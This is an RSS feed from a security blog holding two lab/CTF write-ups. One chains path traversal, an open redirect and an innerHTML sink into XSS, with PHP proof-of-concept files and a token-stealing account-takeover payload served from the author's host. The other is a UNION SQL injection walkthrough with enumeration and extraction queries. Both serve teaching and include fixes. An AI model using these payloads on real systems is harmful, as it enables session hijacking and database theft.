<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Iliya Dindar Blog]]></title><description><![CDATA[Iliya Dindar Blog]]></description><link>https://blog.iliyadindar.site</link><image><url>https://cdn.hashnode.com/uploads/logos/698dd696a76f1b4bfc639a22/82ca5d12-6e3d-49ef-aadc-703210aeae14.png</url><title>Iliya Dindar Blog</title><link>https://blog.iliyadindar.site</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 04 Jun 2026 00:24:14 GMT</lastBuildDate><atom:link href="https://blog.iliyadindar.site/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[DOOM — Chaining CSPT, Open Redirect, and XSS]]></title><description><![CDATA[By Iliya Dindar

A walkthrough of the DOOM box. Three "small" bugs that mean nothing on their own, but composed together hand you a one-click XSS that runs on the victim's origin with their session in]]></description><link>https://blog.iliyadindar.site/doom-chaining-cspt-open-redirect-and-xss</link><guid isPermaLink="true">https://blog.iliyadindar.site/doom-chaining-cspt-open-redirect-and-xss</guid><category><![CDATA[XSS]]></category><category><![CDATA[Web Security]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[bug bounty]]></category><category><![CDATA[Ethical Hacking]]></category><dc:creator><![CDATA[Iliya Dindar]]></dc:creator><pubDate>Fri, 22 May 2026 15:56:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/698dd696a76f1b4bfc639a22/cfff2e1f-b232-4445-b3ad-5b79dd8b28eb.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>By <a href="https://iliyadindar.site">Iliya Dindar</a></strong></p>
<blockquote>
<p>A walkthrough of the <strong>DOOM</strong> box. Three "small" bugs that mean nothing on their own, but composed together hand you a one-click XSS that runs on the victim's origin with their session in localStorage.</p>
</blockquote>
<h2>TL;DR</h2>
<ol>
<li>The blog page reads the post slug from the URL and fetches it as <code>GET /api/v1/blogs/${m}</code> — <strong>Client-Side Path Traversal (CSPT)</strong> lets us break out of that path.</li>
<li><code>GET /api/v1/redirect?redirect_to=…</code> blindly follows arbitrary external URLs — <strong>Open Redirect</strong>.</li>
<li>The render function injects the response into the DOM via <strong><code>innerHTML</code></strong>, not <code>innerText</code>.</li>
</ol>
<p>Chain → CSPT pivots the fetcher to the redirect endpoint, the redirect endpoint sends it to my server, my server returns JSON with a malicious <code>blog.Content</code>, and the page happily renders it as HTML on the target origin.</p>
<pre><code>CSPT  →  Open Redirect  →  XSS
</code></pre>
<p>Final payload:</p>
<pre><code>https://&lt;target&gt;/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php
</code></pre>
<hr />
<h2>Recon — Where does the blog content come from?</h2>
<p>The blog page is fully client-rendered. Opening DevTools and pulling up the bundled JS, the interesting block is the loader for a single post:</p>
<pre><code class="language-js">try {
    const m = decodeURI(i),
          C = await (await fetch(`/api/v1/blogs/${m}`)).json();
    C.status === "success"
        ? o(C.data.blog)
        : N(C.data || "Failed to load blog post")
} catch {
    N("Network error. Please try again.")
} finally {
    d(!1)
}
</code></pre>
<p>Two things to note straight away:</p>
<ul>
<li><code>i</code> comes from the URL path. <code>m = decodeURI(i)</code> — and <code>decodeURI</code> does <strong>not</strong> decode <code>%2f</code>. That'll matter in a minute.</li>
<li>The blog object is handed to a render function <code>o(...)</code>. Whether <code>o</code> writes to <code>innerHTML</code> or <code>innerText</code> decides whether this is exploitable.</li>
</ul>
<p>A breakpoint on the line confirms the path. Visiting <code>/blogs/1mamad</code> gives <code>m = "1mamad"</code> and the fetch goes to <code>/api/v1/blogs/1mamad</code>. The slug is reflected straight into the URL with no filtering.</p>
<h2>CSPT — escaping <code>/api/v1/blogs/</code></h2>
<p>Because the slug is concatenated into a path without normalization on the client, <code>..%2f</code> segments are passed through to <code>fetch</code> and the browser resolves them as path traversal <strong>before</strong> sending the request.</p>
<pre><code>/blogs/1%2f..%2f..%2fmamad
        │   │     │
        │   │     └── escape /v1/
        │   └── escape /blogs/
        └── still inside /api/v1/blogs/
</code></pre>
<p>So a request that looks like it's loading blog <code>1/..%2f..%2fmamad</code> actually fires off <code>GET /api/v1/mamad</code>. CSPT confirmed — I can repoint the loader at <strong>any other endpoint under <code>/api/</code></strong>.</p>
<p>On its own, that's a gadget looking for a sink.</p>
<h2>The signup flow leaks a second gadget</h2>
<p>After registering an account, I noticed a redirect helper in the signup → blogs handoff:</p>
<pre><code class="language-http">GET /api/v1/redirect?redirect_to=/blogs HTTP/2
Host: vu1hj6gf6w.voorivex-lab.online
Referer: https://vu1hj6gf6w.voorivex-lab.online/signup
...
</code></pre>
<p>First instinct: try an absolute URL — but throwing a full <code>https://...</code> at it gets rejected. There's a server-side check on <code>redirect_to</code> that looks at the <strong>prefix</strong> and bounces anything starting with <code>http://</code> or <code>https://</code>. That filter is doing a literal scheme-prefix string match, not a real URL parse, which is the textbook way for this kind of check to fail.</p>
<p>A <strong>protocol-relative URL</strong> sidesteps the check entirely — <code>//www.google.com</code> doesn't start with <code>http</code> or <code>https</code>, but the browser still treats it as absolute and inherits the current page's scheme:</p>
<pre><code>/api/v1/redirect?redirect_to=//www.google.com
</code></pre>
<p>Server responds with a 30x to <code>https://www.google.com</code>. <strong>Open Redirect</strong> — second gadget unlocked.</p>
<pre><code>Open Redirect → arbitrary domain
</code></pre>
<h2>Finding the sink — <code>o()</code> is <code>innerHTML</code></h2>
<p>Back to the loader. Whether this chain ends in XSS or in "well, that was a fun puzzle" hinges on what <code>o(C.data.blog)</code> does with <code>.Content</code>.</p>
<p>Rather than reading every minified function, I let the page tell me. Breakpoint on the call to <code>o()</code>, then in the debugger's scope panel I overwrote <code>C.data.blog.Content</code> live:</p>
<pre><code class="language-js">C.data.blog.Content = "&lt;img src=x onerror=alert(origin)&gt;"
</code></pre>
<p>Resume execution → alert fires showing the target's origin. The sink is <strong><code>innerHTML</code></strong>. That's the third piece.</p>
<blockquote>
<p>Lesson worth repeating: don't trace minified bundles by hand if you don't have to. Break on the render call, mutate the object, resume. The DOM tells you which sink you hit.</p>
</blockquote>
<h2>Chaining</h2>
<p>The three primitives:</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Primitive</th>
<th>Where</th>
<th>What it gives</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>CSPT</td>
<td><code>fetch('/api/v1/blogs/${m}')</code></td>
<td>Redirect the client-side fetch to any path under <code>/api/v1/</code></td>
</tr>
<tr>
<td>2</td>
<td>Open Redirect</td>
<td><code>/api/v1/redirect?redirect_to=…</code></td>
<td>Force that fetch off-origin to my server</td>
</tr>
<tr>
<td>3</td>
<td><code>innerHTML</code> sink</td>
<td><code>o(C.data.blog)</code></td>
<td>Anything I return in <code>Content</code> is parsed as HTML</td>
</tr>
</tbody></table>
<p>The chain writes itself:</p>
<ol>
<li>Victim visits <code>/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php</code>.</li>
<li>The client computes <code>fetch("/api/v1/blogs/1/../../redirect?redirect_to=//thezoro.com/lab/doom.php")</code> → resolves to <code>fetch("/api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php")</code>.</li>
<li>Server replies 30x → browser follows to <code>https://thezoro.com/lab/doom.php</code>.</li>
<li>My server returns JSON with <code>status: "success"</code> and a poisoned <code>data.blog.Content</code>.</li>
<li><code>o()</code> calls <code>innerHTML</code> with it on the <strong>target's origin</strong>. Script executes with full DOM access and access to <code>localStorage</code> (where the token lives).</li>
</ol>
<p>The request the loader actually fires after redirection:</p>
<pre><code class="language-http">GET /api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php HTTP/2
Host: v1cyd3avx3.voorivex-lab.online
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://v1cyd3avx3.voorivex-lab.online/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php
Accept: */*
...
</code></pre>
<h2>The hosted JSON — <code>doom.php</code></h2>
<p>Minimal PoC that proves arbitrary script execution on the target origin:</p>
<pre><code class="language-php">&lt;?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
    "status" =&gt; "success",
    "data" =&gt; [
        "blog" =&gt; [
            "ID" =&gt; 1,
            "Title" =&gt; "Top 10 Web Application Security Threats You Must Know in 2025",
            "Content" =&gt; "&lt;img src='x' onerror='alert(origin)'&gt;",
            "CreatedAt" =&gt; "2026-05-22T13:52:32Z",
            "AuthorName" =&gt; "Kael Donovan"
        ]
    ]
];
echo json_encode($response);
</code></pre>
<p><code>alert(origin)</code> shows the <strong>target's</strong> origin, not <code>thezoro.com</code> — confirming the script runs in the vulnerable site's context because the DOM that wrote it lives there.</p>
<h2>Escalation — riding the session</h2>
<p>Since the payload runs on-origin and the auth token is stored client-side in <code>localStorage</code> under <code>doom_token</code>, account actions are one fetch away. Swapping the <code>Content</code> for an account-takeover primitive — overwriting the victim's bio (any authenticated PUT works the same way):</p>
<pre><code class="language-php">&lt;?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
    "status" =&gt; "success",
    "data" =&gt; [
        "blog" =&gt; [
            "ID" =&gt; 1,
            "Title" =&gt; "Top 10 Web Application Security Threats You Must Know in 2025",
            "Content" =&gt; "
                &lt;img src='x' onerror='alert(origin)'&gt;
                &lt;img src=y onerror='
                    fetch(`https://v1cyd3avx3.voorivex-lab.online/api/v1/users/update`, {
                        method: `PUT`,
                        headers: {
                            [`Authorization`]: `Bearer ${localStorage.getItem(`doom_token`)}`,
                            [`Content-Type`]: `application/json`
                        },
                        body: JSON.stringify({ bio: `HACKED` })
                    }).then(r=&gt;r.json()).then(d=&gt;console.log(d))
                '&gt;
            ",
            "CreatedAt" =&gt; "2026-05-22T13:52:32Z",
            "AuthorName" =&gt; "Kael Donovan"
        ]
    ]
];
echo json_encode($response);
</code></pre>
<p>Two <code>&lt;img onerror&gt;</code> payloads stacked: first to prove execution, second to read the token from <code>localStorage</code> and PUT it to the user-update endpoint. From here it's trivial to extend to email/password changes, session exfil, or whatever the API surface allows.</p>
<h2>Why each layer failed</h2>
<ul>
<li><strong>CSPT.</strong> Slugs that go into URL paths should be normalized (or, better, validated against a strict pattern) before being concatenated into <code>fetch</code>. <code>decodeURI</code> not touching <code>%2f</code> is the silent enabler.</li>
<li><strong>Open Redirect.</strong> The <code>redirect_to</code> filter does a literal <code>http://</code>/<code>https://</code> prefix string match instead of parsing the URL, so a protocol-relative <code>//host</code> walks straight past it. The fix is to parse the value as a URL and either match the host against an allow-list or reject anything that resolves to an external origin (and reject anything starting with <code>/</code> followed by another <code>/</code> or <code>\</code>).</li>
<li><strong><code>innerHTML</code> sink.</strong> Blog content from the API is trusted unconditionally and dropped into <code>innerHTML</code>. Either render it through <code>innerText</code>, or sanitize server-side with a library that strips event handlers (DOMPurify on the client is the bare minimum).</li>
</ul>
<p>Any <strong>one</strong> of those fixes breaks the chain. None of them are present.</p>
<h2>Wrap</h2>
<p>The fun of this box is that none of the three bugs is severe by itself. CSPT with nowhere to pivot to is a quirk. An open redirect to an arbitrary domain on its own is medium at best. <code>innerHTML</code> is only a problem if you can poison what flows into it. Compose them and you get cross-origin script execution against any logged-in user with one click.</p>
<pre><code>CSPT (client path traversal)
  └─→ Open Redirect (server-side, no host validation)
        └─→ Attacker-controlled JSON
              └─→ innerHTML sink
                    └─→ XSS on target origin → token theft
</code></pre>
<p>— <strong>Iliya Dindar</strong> · <a href="https://iliyadindar.site">iliyadindar.site</a></p>
]]></content:encoded></item><item><title><![CDATA[UNION SELECT Unlocked: A Beginner’s Guide to UNION-Based SQLi]]></title><description><![CDATA[Table of Contents

01 - Vulnerability Discovery

02 - Injection Detection

03 - Column Count Enumeration

04 - Reflected Column Discovery

05 - Database Enumeration

06 - Flag Extraction



01 - Vulne]]></description><link>https://blog.iliyadindar.site/union-select-unlocked-a-beginner-s-guide-to-union-based-sqli</link><guid isPermaLink="true">https://blog.iliyadindar.site/union-select-unlocked-a-beginner-s-guide-to-union-based-sqli</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Iliya Dindar]]></dc:creator><pubDate>Fri, 03 Apr 2026 15:41:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/698dd696a76f1b4bfc639a22/5ea374a6-7728-49f6-8b0b-cc960881df0c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Table of Contents</h2>
<ul>
<li><p><a href="#01--vulnerability-discovery">01 - Vulnerability Discovery</a></p>
</li>
<li><p><a href="#02--injection-detection">02 - Injection Detection</a></p>
</li>
<li><p><a href="#03--column-count-enumeration">03 - Column Count Enumeration</a></p>
</li>
<li><p><a href="#04--reflected-column-discovery">04 - Reflected Column Discovery</a></p>
</li>
<li><p><a href="#05--database-enumeration">05 - Database Enumeration</a></p>
</li>
<li><p><a href="#06--flag-extraction">06 - Flag Extraction</a></p>
</li>
</ul>
<hr />
<h2>01 - Vulnerability Discovery</h2>
<p>Appending <code>?source=true</code> to any article URL exposes the page's PHP source code. The backend constructs its SQL query by directly concatenating the user-supplied <code>id</code> parameter without any sanitization or parameterization:</p>
<pre><code class="language-php">\(sql = "SELECT * FROM news WHERE id = '" . \)_GET['id'] . "'";
</code></pre>
<p>At runtime with a normal request, this evaluates to:</p>
<pre><code class="language-sql">SELECT * FROM news WHERE id = '1'
</code></pre>
<p>Because the <code>id</code> value is placed inside single quotes and never escaped, the application is vulnerable to string-based UNION SQL injection.</p>
<hr />
<h2>02 - Injection Detection</h2>
<p>Before attempting any extraction, we need to confirm three things: whether injection is possible, whether the value is wrapped in quotes, and which quote character is used. We use <code>ORDER BY</code> for this - it's non-destructive and produces clear server errors when it breaks the query.</p>
<blockquote>
<p><strong>Note on URL encoding:</strong> The <code>#</code> character is reserved in URLs and must be encoded as <code>%23</code> to reach the server as a comment delimiter.</p>
</blockquote>
<table>
<thead>
<tr>
<th>Result</th>
<th>Payload</th>
</tr>
</thead>
<tbody><tr>
<td>✅ Returns result (baseline)</td>
<td><code>page/?id=54</code></td>
</tr>
<tr>
<td>✅ Returns result (true condition)</td>
<td><code>page/?id=54' ORDER BY 1%23</code></td>
</tr>
<tr>
<td>❌ Stack trace error (false condition)</td>
<td><code>page/?id=54' ORDER BY 1000%23</code></td>
</tr>
<tr>
<td>- No difference (wrong quote type)</td>
<td><code>page/?id=54" ORDER BY 1%23</code></td>
</tr>
</tbody></table>
<p>The behavioral difference between the true and false conditions - a valid result vs. a stack trace error - confirms all three things at once. Injection is present, the value is wrapped in <strong>single quotes</strong>, and comments via <code>%23</code> successfully truncate the rest of the query.</p>
<hr />
<h2>03 - Column Count Enumeration</h2>
<p>A UNION-based injection requires the injected <code>SELECT</code> to return the same number of columns as the original query. We determine this by incrementally increasing the <code>ORDER BY</code> index until the query fails.</p>
<pre><code class="language-sql">-- Succeeds → at least 10 columns
/post.php?id=1' ORDER BY 10%23

-- Fails → column 11 does not exist
/post.php?id=1' ORDER BY 11%23
</code></pre>
<p><strong>Result:</strong> The original query returns exactly <strong>10 columns</strong>. Our <code>UNION SELECT</code> must also return 10.</p>
<hr />
<h2>04 - Reflected Column Discovery</h2>
<p>With the column count confirmed, we identify which column position is rendered in the page output. To force the application to display our UNION result instead of the real row, we use a non-existent ID - causing the first <code>SELECT</code> to return zero rows.</p>
<pre><code class="language-plaintext">/post.php?id=1654654' UNION SELECT 1,user(),3,4,5,6,7,8,9,10%23
</code></pre>
<p>The page renders the output of <code>user()</code> in the post title field:</p>
<pre><code class="language-plaintext">sqli-level-1@10.244.226.178
</code></pre>
<p>Column position <strong>2</strong> is our extraction channel for all subsequent queries.</p>
<hr />
<h2>05 - Database Enumeration</h2>
<p>Extraction follows a top-down path through the database structure:</p>
<pre><code class="language-plaintext">database name → table names → column names → flag data
</code></pre>
<p>All metadata is accessible through <code>information_schema</code>. We use <code>group_concat()</code> throughout to collapse multiple rows into a single output, avoiding the need for repeated <code>LIMIT</code> iterations.</p>
<h3>Step 1 - Enumerate databases</h3>
<pre><code class="language-sql">/post.php?id=1654654' UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9,10
FROM information_schema.schemata%23
</code></pre>
<p><strong>Output:</strong></p>
<pre><code class="language-plaintext">information_schema, performance_schema, sqli-level-1
</code></pre>
<h3>Step 2 - Enumerate tables in the target database</h3>
<pre><code class="language-sql">/post.php?id=1654654' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10
FROM information_schema.tables
WHERE table_schema = database()%23
</code></pre>
<p><strong>Output:</strong></p>
<pre><code class="language-plaintext">flag, news
</code></pre>
<h3>Step 3 - Enumerate columns in the flag table</h3>
<pre><code class="language-sql">/post.php?id=1654654' UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10
FROM information_schema.columns
WHERE table_schema = database()
AND table_name = 'flag'%23
</code></pre>
<p><strong>Output:</strong></p>
<pre><code class="language-plaintext">flag_text, id
</code></pre>
<hr />
<h2>06 - Flag Extraction</h2>
<p>With the full schema mapped, we query the <code>flag_text</code> column directly from the <code>flag</code> table:</p>
<pre><code class="language-sql">/post.php?id=1654654' UNION SELECT 1,flag_text,3,4,5,6,7,8,9,10
FROM flag%23
</code></pre>
<p>The flag value is rendered in the page output:</p>
<pre><code class="language-plaintext">flag_06d32920379xxxxxxxxxxxxxxxxxxxxx
</code></pre>
<hr />
<p><em>Written by</em> <a href="https://iliyadindar.site"><em>Iliya Dindar</em></a></p>
]]></content:encoded></item></channel></rss>